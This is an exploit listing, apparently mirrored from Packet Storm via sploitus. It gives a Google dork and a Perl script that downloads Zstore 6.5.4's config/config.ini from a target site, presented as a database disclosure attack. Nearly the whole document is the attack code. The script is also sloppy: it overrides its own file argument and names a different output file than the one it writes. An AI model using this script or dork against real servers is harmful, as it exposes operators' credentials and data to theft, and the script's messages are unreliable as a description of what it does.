Share
## https://sploitus.com/exploit?id=PACKETSTORM:173081
====================================================================================================================================  
| # Title : Zstore version 6.5.4 Database Disclosure Exploit |  
| # Author : indoushka |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0(32-bit) |   
| # Vendor : https://github.com/leon-mbs/zstore/releases/tag/6.5.4 |   
| # Dork : "Zippy склад" |  
====================================================================================================================================  
  
poc :  
  
[-] Download database backup :  
  
This file may disclose sensitive information. This information can be used to launch further attacks.  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] save code as perl file : poc.pl  
  
[+] code :  
  
#!/usr/bin/perl -w  
# Author : indoushka  
  
use LWP::Simple;  
use LWP::UserAgent;  
  
system('cls');  
print "\n[+] Zstore version 6.5.4 Database Disclosure [+] \n\n";  
system('color a');  
  
  
if(@ARGV < 2)  
{  
print "[+] Author : indoushka \n\n";  
print "[-] How To Use\n\n";  
&help; exit();  
}  
sub help()  
{  
print "[+] usage1 : perl $0 site.com /path/db.sql \n";  
print "[+] usage2 : perl $0 localhost /db.sql \n";  
}  
($TargetIP, $path, $File,) = @ARGV;  
  
$File="config/config.ini";  
my $url = "http://" . $TargetIP . $path . $File;  
print "\n Fuck you wait!!! \n\n";  
  
my $useragent = LWP::UserAgent->new();  
my $request = $useragent->get($url,":content_file" => "D:/db.sql");  
  
if ($request->is_success)  
{  
print "[+] $url Exploited!\n\n";  
print "[+] Database saved to D:/.env\n";  
exit();  
}  
else  
{  
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";  
exit();  
}  
  
Greetings to :=========================================================================================================================  
|  
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* |   
|  
=======================================================================================================================================